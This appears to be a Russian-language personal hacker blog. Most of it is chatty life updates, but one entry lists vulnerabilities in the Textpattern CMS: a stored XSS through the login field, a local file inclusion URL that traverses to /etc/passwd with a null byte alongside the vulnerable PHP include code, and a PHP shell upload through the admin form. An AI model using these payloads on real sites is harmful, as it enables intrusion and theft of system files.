StraNger ideas

Третий день уже не могу собраться. Занимаюсь всякой шнягой. Слухаю музыку, играю на гитаре, чешу языком в магенте, ржу над  демотиваторами.
Кто нибудь пните меня под зад.
Надо...

Учебный год закончился. Впереди учебный год. Всех с наступающим Хеллуином. Чмоки Чмоки

Активная XSS:

http://test1.ru/textpattern/index.php?event=admin

 Поле "Логин" не фильтруется. Появялется возможность выполнить и сохранить скрипт скрипт.

Local include

http://test1.ru/textpattern/?event=./../../../../../../etc/passwdNULLbyte

code:

...
        $inc = txpath . '/include/txp_'.$event.'.php';
        if (is_readable($inc))
            include($inc);
            ...

Так же: в админ панели залить php шелл можно через форму для загрузки файлов.

StraNger

Хзону уже 3 день атакуют воены упячки. Админы и модеры в поте лица трут посты и банят засранцев. =D

Записался в спортзал. Буду бодибилдером-хакером.

Пора уже готовится к НГ. Хочется отметить ярко. 2010 все таки.
Портал потихоньку начинает заводиться. Активность заметна сразу.
Кстати, куда фрайз делся??

Fuke the system
ааАааааааАааааааааааааааааааааа !! =) гг